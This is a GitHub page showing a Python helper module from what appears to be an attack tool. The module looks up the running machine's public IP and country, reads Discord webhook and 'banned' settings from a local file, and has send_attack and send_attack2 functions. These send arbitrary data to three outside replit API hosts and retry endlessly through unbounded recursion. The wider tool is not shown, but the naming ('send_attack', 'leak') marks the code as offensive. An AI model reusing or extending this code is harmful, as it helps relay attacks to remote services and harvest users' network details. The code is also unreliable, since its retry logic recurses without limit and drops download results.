-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathother_data.py
129 lines (117 loc) · 4.24 KB
/
other_data.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import os,requests,sys,time,platform,base64
from discord_webhook import DiscordWebhook
from colorama import Fore
def GET_TIME():
named_tuple = time.localtime()
time_string = time.strftime("%m/%d/%Y, %H:%M:%S", named_tuple)
return time_string
# ! GET IP BUT ITS ENCRYPT :) (SAFE)
def GET_IP():
try:
r = requests.get('https://ipwho.is/').json()
r_leak = r.get('ip')
r_leak2 = r.get('country')
r_leak3 = r.get('country_code')
return f'{r_leak}|{r_leak2}|{r_leak3}'
except:
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f'[FAILED] - {GET_TIME()} - DOWNLOAD IP !\n')
return f'FAILED|FAILED|FAILED'
def flash(text, duration=1, delay=0.1):
for i in range(int(duration / delay)):
sys.stdout.write(f'\r{Fore.YELLOW}' + text + f'{Fore.RESET}')
sys.stdout.flush()
time.sleep(delay)
sys.stdout.write('\r' + ' ' * len(text))
sys.stdout.flush()
time.sleep(delay)
def print_slow(text, delay=0.05):
for char in text:
print(char, end='', flush=True)
time.sleep(delay)
def download(link):
try:
r = requests.get(url=link)
print("DOWNLOAD FILES . . .")
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f'[DEBUG] - {GET_TIME()} - DOWNLOAD FILES {link}\n')
return r.content
except:
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f'[FAILED] - {GET_TIME()} - DOWNLOAD FILES {link}\n')
print("FAILED DOWNLOAD . . .")
download(link)
def FILES_MAKER(files,mode,data):
data_test = None
if mode == 'WB':
data_test = 'WRITING 100 %'
with open(files, 'wb') as f:
f.write(data)
elif mode == 'AB':
data_test = 'WRITING 100 %'
with open(files, 'ab') as f:
f.write(data)
elif mode == 'RB':
with open(files, 'rb') as f:
data_test = f.read()
elif mode == 'A':
data_test = 'WRITING 100 %'
with open(files, 'a') as f:
f.write(data)
elif mode == 'W':
data_test = 'WRITING 100 %'
with open(files, 'w') as f:
f.write(data)
elif mode == 'R':
with open(files, 'r') as f:
data_test = f.read()
return data_test
def clear_console():
if platform.system().lower() == 'windows':
os.system('cls')
else:
os.system('clear')
URL = ['https://bruhhapi.idkotherhex1629.repl.co/API0=','https://bruhhapi2.idkotherhex1629.repl.co/API0=','https://bruhhapi3.idkotherhex1629.repl.co/API0=']
def send_attack(data):
try:
for link in URL:
r = requests.get(url=f"{link.replace('0','')}{data}")
if r.status_code == 200:
print('API ( OK )')
else:
print("API DOWN ( BRUHH )")
send_attack(data)
except:
send_attack(data)
def send_attack2(data):
try:
for link in URL:
r = requests.get(url=f"{link.replace('0','3')}{data}")
if r.status_code == 200:
print('API ( OK )')
else:
print("API DOWN ( BRUHH )")
send_attack2(data)
except:
print("API DOWN ( SHIT )")
send_attack2(data)
# ! CHECK FILES
def login_checker():
file_path = os.path.join(os.path.dirname(__file__), 'setting.txt')
try:
with open(file_path) as f:
credentials = [x.strip() for x in f.readlines() if x.strip()]
for x in credentials:
c_webhook,c_banned,c_ip,c_ip_enc = x.split('@')
if c_webhook.upper() == 'FALSE' or c_webhook.upper() == 'TRUE':
return f'KNOWN@{c_webhook}@{c_banned}@{c_ip}@{c_ip_enc}'
else:
return 'UNKNOWN@null@null'
except FileNotFoundError:
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f'[FAILED] - {GET_TIME()} - NOT FOUND FILES setting.txt . . .\n')
return 'UNKNOWN ERROR ARE RETURNING BY FILESNOTFOUND'
def files_leak_checker(files):
file_path = os.path.join(os.path.dirname(__file__), files)
try:
with open(file_path) as f:
return 'FOUND FILES'
except FileNotFoundError:
FILES_MAKER(os.path.join(os.path.dirname(__file__),'logs.txt'),'A',f'[FAILED] - {GET_TIME()} - NOT FOUND FILES {files} . . .\n')
return 'UNKNOWN ERROR ARE RETURNING BY FILESNOTFOUND'